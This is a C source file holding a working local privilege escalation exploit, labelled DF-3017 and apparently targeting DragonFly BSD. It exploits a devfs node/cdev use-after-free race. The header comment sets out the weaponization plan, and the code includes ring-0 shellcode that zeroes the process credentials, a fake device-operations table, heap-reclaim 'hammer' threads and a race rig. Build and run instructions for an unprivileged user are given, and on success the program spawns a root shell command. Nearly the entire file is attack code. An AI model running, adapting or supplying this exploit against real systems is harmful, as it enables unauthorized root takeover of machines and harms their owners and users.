/*
 * DF-3017 weaponization v5: devfs node/cdev lifetime race -> uid=0
 * (unprivileged, zero-precondition, stock kernel, no KASLR/SMAP/SMEP)
 *
 * Primitive (verified DF-3017): devfs_vop_nresolve() -> devfs_allocv()
 * drops devfs_lock across getnewvnode() holding a raw devfs_node while the
 * devfs core thread frees the node AND its cdev.  The victim then uses the
 * stale node (node_type==Ndev, mp valid, d_dev -> freed cdev chunk):
 *   v_associate_rdev(vp, d_dev) -> reference_dev() -> sysref_get() on the
 *   freed cdev, then vp->v_ops = &node->mp->mnt_vn_spec_ops, then
 *   node->d_dev->si_ops->head.flags -- and caches the vnode in the
 *   namecache (cache_setvp).
 *
 * Weaponization: sizeof(struct cdev) == 320 -> the freed cdef chunk
 * recycles through the shared 320-byte slab zone.  Reclaim vehicle:
 * writev(iovcnt=20) -> iovec_copyin() -> kmalloc(320, M_IOV) + copyin();
 * writev to a reader-less pipe returns EPIPE from pipe_write() before
 * touching the uio, so the copied-in image survives in the chunk:
 *   si_ops@168 -> userspace fake dev_ops (no SMAP),
 *   sysref.flags@236: SRF_PUTAWAY clear -> sysref_get() won't assert,
 *   si_hlist@80 = NULL -> the SLIST insert is absorbed.
 * The stale node supplies a REAL mp, so allocv completes and the poisoned
 * vnode is cached under /dev/pts/N.  The next lstat() of that name runs
 * devfs_vop_getattr(), whose D_DISK branch dispatches
 *   dev_dioctl(d_dev, DIOCGPART, ...) -> dev->si_ops->d_ioctl(&ap)
 * which is a call through our pointer (no permission check, no open()).
 * d_ioctl -> userspace ring0 stub (no SMEP) patches
 *   %gs:0 -> gd_curthread -> td_proc -> p_ucred -> cr_uid/cr_ruid/cr_svuid=0
 * and the stat() returns with the process root.
 *
 * Reclaim physics on DragonFly's slab/objcache stack:
 *  - objcache_put() only reaches kfree() when the per-cpu magazine pair and
 *    the depot magazines are all full -> net-free pressure is required;
 *    under balanced churn, cdev chunks stay in the objcache (stale
 *    SRF_PUTAWAY content -> KKASSERT panic) and never reach the slab zone.
 *  - The rig therefore races INSIDE a sustained net-free drain: a large
 *    reservoir of ptys is closed while the churn+stat racers run.
 *  - Outside the drain, "safe" hammers rewrite the 320-pool with an image
 *    whose sysref.flags = SRF_ALLOCATED|SRF_PUTAWAY so the subsequent
 *    refill's sysref_alloc() (KKASSERT flags & SRF_PUTAWAY) survives if it
 *    kmallocs a littered chunk.
 *
 * Build:  cc -O2 -pthread -o df3017x df3017x.c
 * Run (unpriv):  ./df3017x [seconds]
 */
#include <sys/param.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/* ---- kernel layout (verified on guest, DF 6.5-DEVELOPMENT x86_64) */
#define CDEV_SI_UMINOR     48
#define CDEV_SI_HLIST      80
#define CDEV_SI_OPS        168
#define CDEV_SI_IOSIZE_MAX 184
#define CDEV_SYSREF_REFCNT 232	/* low 32 = refcnt, high 32 = sysref.flags */
#define SRF_SYSIDUSED      0x0001
#define SRF_ALLOCATED      0x0002
#define SRF_PUTAWAY        0x0004	/* must be CLEAR in the weapon image */

#define D_DISK    0x0002
#define D_MPSAFE  0x00400000
#define D_QUICK   0x01000000

#define OPS_HEAD_FLAGS 12
#define OPS_D_OPEN     40
#define OPS_D_CLOSE    48
#define OPS_D_IOCTL    72

#define FAKEOPS_BASE  0x40000000UL
#define SC_ADDR       0x40000100UL
#define STUB_ADDR     0x40000200UL
#define JUNK_BASE     0x40001000UL

#define NUNITS 8
static const char *paths[NUNITS] = {
	"/dev/pts/0", "/dev/pts/1", "/dev/pts/2", "/dev/pts/3",
	"/dev/pts/4", "/dev/pts/5", "/dev/pts/6", "/dev/pts/7",
};

#define RESERVOIR 9000

static volatile int stop, win;
static volatile int phase;		/* 0=idle/sanitize/fill, 1=race */
static unsigned char image[320];	/* weapon image   (fake cdev)  */
static unsigned char safeimg[320];	/* devfs-safe image            */

static long n_drained, n_cycles;

/*
 * mov rax,[gs:0]        globaldata (absolute symbol 'globaldata' == 0)
 * mov rax,[rax+8]       gd_curthread
 * mov rcx,[rax+168]     td_proc   (fallback: td_lwp@160 -> lwp_proc@48)
 * mov rcx,[rcx+16]      p_ucred
 * cr_uid@64=0, cr_ruid@160=0, cr_svuid@164=0,
 * cr_ngroups@68=1, cr_groups[0]@72=0
 * xor eax,eax ; ret
 */
static const unsigned char sc_bytes[] = {
	0x65, 0x48, 0x8b, 0x04, 0x25, 0x00, 0x00, 0x00, 0x00,
	0x48, 0x8b, 0x40, 0x08,
	0x48, 0x8b, 0x88, 0xa8, 0x00, 0x00, 0x00,
	0x48, 0x85, 0xc9,
	0x75, 0x10,
	0x48, 0x8b, 0x88, 0xa0, 0x00, 0x00, 0x00,
	0x48, 0x8b, 0x49, 0x30,
	0x90, 0x90, 0x90, 0x90, 0x90,
	0x48, 0x8b, 0x49, 0x10,
	0xc7, 0x41, 0x40, 0x00, 0x00, 0x00, 0x00,
	0xc7, 0x81, 0xa0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0xc7, 0x81, 0xa4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0xc7, 0x81, 0x44, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
	0xc7, 0x81, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x31, 0xc0,
	0xc3,
};
static const unsigned char stub_bytes[] = { 0x31, 0xc0, 0xc3 };

static void put64(void *p, size_t o, uint64_t v) { memcpy((unsigned char *)p + o, &v, 8); }
static void put32(void *p, size_t o, uint32_t v) { memcpy((unsigned char *)p + o, &v, 4); }

static void
map_payload(void)
{
	void *p;
	int i;

	p = mmap((void *)FAKEOPS_BASE, 0x4000,
		 PROT_READ | PROT_WRITE | PROT_EXEC,
		 MAP_FIXED | MAP_PRIVATE | MAP_ANON, -1, 0);
	if (p != (void *)FAKEOPS_BASE) { perror("mmap fakeops"); exit(2); }
	p = mmap((void *)JUNK_BASE, 0x20000, PROT_READ | PROT_WRITE,
		 MAP_FIXED | MAP_PRIVATE | MAP_ANON, -1, 0);
	if (p != (void *)JUNK_BASE) { perror("mmap junk"); exit(2); }
	for (i = 0; i < 0x20000 / 4096; i++)
		((volatile unsigned char *)JUNK_BASE)[i * 4096] = 1;

	put32((void *)FAKEOPS_BASE, OPS_HEAD_FLAGS,
	      D_DISK | D_MPSAFE | D_QUICK);
	put64((void *)FAKEOPS_BASE, OPS_D_OPEN,  SC_ADDR);
	put64((void *)FAKEOPS_BASE, OPS_D_CLOSE, STUB_ADDR);
	put64((void *)FAKEOPS_BASE, OPS_D_IOCTL, SC_ADDR);
	put64((void *)FAKEOPS_BASE, 32, STUB_ADDR);	/* d_default */
	put64((void *)FAKEOPS_BASE, 56, STUB_ADDR);	/* d_read    */
	put64((void *)FAKEOPS_BASE, 64, STUB_ADDR);	/* d_write   */
	put64((void *)FAKEOPS_BASE, 80, STUB_ADDR);	/* d_mmap    */
	memcpy((void *)SC_ADDR, sc_bytes, sizeof(sc_bytes));
	memcpy((void *)STUB_ADDR, stub_bytes, sizeof(stub_bytes));
}

static void
build_images(void)
{
	memset(image, 0, sizeof(image));
	/* iovec granularity: offsets ==0 (mod 16) are iov_base (free),
	 * ==8 (mod 16) are iov_len (must not wrap the running total). */
	put32(image, CDEV_SI_UMINOR, 0x1337);		/* iov[3].base */
	put64(image, CDEV_SI_OPS, FAKEOPS_BASE);	/* iov[10].len */
	put64(image, CDEV_SI_IOSIZE_MAX, 0x10000);	/* iov[11].len */
	put64(image, CDEV_SYSREF_REFCNT, 0x21);		/* iov[14].len */
	put64(image, 32, JUNK_BASE);			/* iov[2].base */
	put64(image, 40, 0x0000010000000000UL);		/* iov[2].len  */

	memcpy(safeimg, image, sizeof(safeimg));
	put64(safeimg, CDEV_SYSREF_REFCNT,
	    ((uint64_t)(SRF_ALLOCATED | SRF_PUTAWAY) << 32) | 0x21);
}

/* ------------------------- rig threads ------------------------- */

static void *
statloop(void *arg)
{
	long id = (long)arg;
	int i;
	struct stat st;

	/* Two roles by parity: victims watch pts/0..7 for the win; the rest
	 * FLOOD nresolve (devfs_lock) so any victim sitting in
	 * devfs_allocv's lock-drop window queues behind dozens of other
	 * devfs_lock acquisitions.  This stretches the reclaim window from
	 * ~30us to milliseconds -- long enough for remote-zone frees
	 * (devfs core frees on cpu0; slab zones belong to other cpus) to
	 * surface through the passive-IPI kfree_remote -> clean_zone_rchunks
	 * path and for the pulse holders to rotate the zone free lists. */
	while (!stop && !win) {
		if (phase != 1) { usleep(1000); continue; }
		for (i = 0; i < NUNITS; i++) {
			if (lstat(paths[(i + id) % NUNITS], &st) == 0 ||
			    errno != ENOENT) {
				if (getuid() == 0) {
					win = 1;
					return NULL;
				}
			}
			if (win || stop)
				return NULL;
		}
	}
	return NULL;
}

/* event generator: short-lived ptys give the victims a live TAILQ node to
 * resolve and a concurrent free to race against (classic DF-3017 rig) */
static void *
churn(void *arg)
{
	(void)arg;
	while (!stop && !win) {
		int fd;
		if (phase != 1) { usleep(1000); continue; }
		fd = open("/dev/ptmx", O_RDWR | O_NOCTTY);
		if (fd >= 0)
			close(fd);
		else
			usleep(200);
	}
	return NULL;
}

/* EPIPE writev: kmalloc(320)+copyin+kfree with zero consumption; the
 * image persists in the chunk after the kfree (no scrubbing). */
static void *
hammer(void *arg)
{
	int pfd[2];
	long iter = 0;
	int safe = (long)arg;

	if (pipe(pfd) != 0)
		return NULL;
	close(pfd[0]);

	while (!stop && !win) {
		if (phase == (safe ? 1 : 0)) { usleep(500); continue; }
		writev(pfd[1], (struct iovec *)(safe ? safeimg : image), 20);
		if (++iter % 512 == 0) {
			sched_yield();
			if (getuid() == 0) { win = 1; break; }
		}
	}
	return NULL;
}

/* pulse holder: blocks in writev on a full pipe holding the kmalloc'd
 * iovec (== our image) in the kernel; a reaper closes the read end
 * periodically so the writev returns EPIPE and the holder re-grabs a
 * (different) chunk.  The hold-release cycles transiently drain zone
 * free-lists (z_NFree -> 0), which pulls z_RChunks into z_LChunks --
 * that is what makes REMOTE-freed cdev chunks (devfs core frees on cpu0;
 * zones are owned by the allocating cpu) visible to our hammers at all.
 * Without this, remote frees sit invisible behind the LIFO free list and
 * the victim reads stale SRF_PUTAWAY content -> KKASSERT panic. */
static int pulse_rfd[64], pulse_wfd[64];
static int pulse_n;

static void *
pulse_holder(void *arg)
{
	long id = (long)arg;
	unsigned char junk[4096];

	while (!stop && !win) {
		int pfd[2];
		if (phase != 1) { usleep(2000); continue; }
		if (pipe(pfd) != 0) { usleep(5000); continue; }
		/* fill the pipe so our writev blocks */
		for (;;) {
			ssize_t r = write(pfd[1], junk, sizeof(junk));
			if (r <= 0)
				break;
		}
		pulse_rfd[id] = pfd[0];
		pulse_wfd[id] = pfd[1];
		/* blocks holding the image until the reaper kills the reader */
		writev(pfd[1], (struct iovec *)image, 20);
		close(pulse_rfd[id]);
		close(pulse_wfd[id]);
		pulse_rfd[id] = -1;
	}
	return NULL;
}

static void *
pulse_reaper(void *arg)
{
	int i;

	(void)arg;
	while (!stop && !win) {
		usleep(40000);
		if (phase != 1)
			continue;
		for (i = 0; i < pulse_n; i++)
			if (pulse_rfd[i] >= 0) {
				close(pulse_rfd[i]);
				pulse_rfd[i] = -1;	/* holder closes wfd */
			}
	}
	return NULL;
}

/* filler/drainer: the reservoir is filled and drained by several threads
 * spread across cpus, so the cdev chunks land in a DIVERSE set of slab
 * zones (including cpu0-owned ones -- the devfs core thread's cpu, where
 * frees are local LIFO and hammers grab them within microseconds).  A
 * single-threaded fill concentrates chunks in one zone and every event
 * becomes an invisible remote free. */
#define NFILL 6
#define RES_PER_FILLER (RESERVOIR / NFILL)
static int fill_fds[NFILL][RES_PER_FILLER];
static int fill_n[NFILL];
static volatile int fill_epoch, drain_epoch;

static void *
filler(void *arg)
{
	long id = (long)arg;
	int *fds = fill_fds[id];
	int *np = &fill_n[id];
	int seen = -1, i;

	while (!stop && !win) {
		while (phase != 0 && !stop && !win)
			usleep(1000);
		if (stop || win)
			return NULL;
		if (seen == fill_epoch)
			continue;	/* already filled this epoch */
		seen = fill_epoch;
		*np = 0;
		for (i = 0; i < RES_PER_FILLER; i++) {
			int fd = open("/dev/ptmx", O_RDWR | O_NOCTTY);
			if (fd < 0)
				break;
			fds[(*np)++] = fd;
		}
	}
	return NULL;
}

static void *
drainer(void *arg)
{
	long id = (long)arg;
	int *fds = fill_fds[id];
	int n, i, seen = -1;

	while (!stop && !win) {
		while (phase != 1 && !stop && !win)
			usleep(500);
		if (stop || win)
			return NULL;
		if (seen == drain_epoch)
			continue;
		seen = drain_epoch;
		n = fill_n[id];
		for (i = n - 1; i >= 0; i--) {
			close(fds[i]);
			n_drained++;
			if ((i & 63) == 0 && (stop || win || phase != 1))
				break;
		}
		fill_n[id] = 0;
	}
	return NULL;
}

/* the engine: cycles FILL (sanitize) -> RACE (drain + churn + victims +
 * weapon hammers + pulse holders) */
static void *
engine(void *arg)
{
	(void)arg;
	while (!stop && !win) {
		phase = 0;		/* FILL + safe-hammer sanitize */
		fill_epoch++;
		usleep(2500000);	/* fill 12000 + settle */
		n_cycles++;

		phase = 1;		/* RACE */
		drain_epoch++;
		usleep(6000000);	/* drain + destroy backlog + race */
	}
	return NULL;
}

int
main(int argc, char **argv)
{
	int secs = (argc > 1) ? atoi(argv[1]) : 300;
	pthread_t th[80];
	int nth = 0, i;

	signal(SIGPIPE, SIG_IGN);
	map_payload();
	build_images();

	printf("DF-3017 weaponization v5: uid=%d euid=%d fakeops=%#lx sc=%#lx\n",
	    getuid(), geteuid(), FAKEOPS_BASE, SC_ADDR);
	fflush(stdout);

	pthread_create(&th[nth++], NULL, engine, NULL);
	for (i = 0; i < NFILL; i++)
		pthread_create(&th[nth++], NULL, filler, (void *)(long)i);
	for (i = 0; i < NFILL; i++)
		pthread_create(&th[nth++], NULL, drainer, (void *)(long)i);
	for (i = 0; i < 8; i++)
		pthread_create(&th[nth++], NULL, churn, NULL);
	for (i = 0; i < 24; i++)
		pthread_create(&th[nth++], NULL, statloop, (void *)(long)i);
	for (i = 0; i < 12; i++)
		pthread_create(&th[nth++], NULL, hammer, (void *)(long)0);
	for (i = 0; i < 8; i++)
		pthread_create(&th[nth++], NULL, hammer, (void *)(long)1);
	pulse_n = 48;
	for (i = 0; i < pulse_n; i++)
		pulse_rfd[i] = -1;
	for (i = 0; i < pulse_n; i++)
		pthread_create(&th[nth++], NULL, pulse_holder, (void *)(long)i);
	pthread_create(&th[nth++], NULL, pulse_reaper, NULL);

	for (i = 0; i < secs && !win; i++) {
		sleep(1);
		if (i % 10 == 9) {
			printf("[%3ds] cycles=%ld drained=%ld uid=%d\n",
			    i + 1, n_cycles, n_drained, getuid());
			fflush(stdout);
		}
	}
	printf("race done (%s after %ds, cycles=%ld drained=%ld)\n",
	    win ? "WIN" : "timeout", i, n_cycles, n_drained);
	fflush(stdout);

	if (win) {
		stop = 1;
		for (i = 0; i < nth; i++) {
			void *rv;
			struct timespec ts = { 0, 30 * 1000 * 1000 };
			pthread_timedjoin_np(th[i], &rv, &ts);
		}
		printf("getuid()=%d geteuid()=%d\n", getuid(), geteuid());
		fflush(stdout);
		if (getuid() == 0) {
			int fd = open("/tmp/df3017.pwned",
				      O_CREAT | O_WRONLY | O_TRUNC, 0644);
			if (fd >= 0) { dprintf(fd, "uid=0 via DF-3017\n"); close(fd); }
			execl("/bin/sh", "sh", "-c",
			      "id; echo PWNED-DF3017 > /tmp/df3017.root", NULL);
		}
		return 0;
	}
	stop = 1;
	for (i = 0; i < nth; i++) {
		void *rv;
		struct timespec ts = { 0, 30 * 1000 * 1000 };
		pthread_timedjoin_np(th[i], &rv, &ts);
	}
	return 1;
}
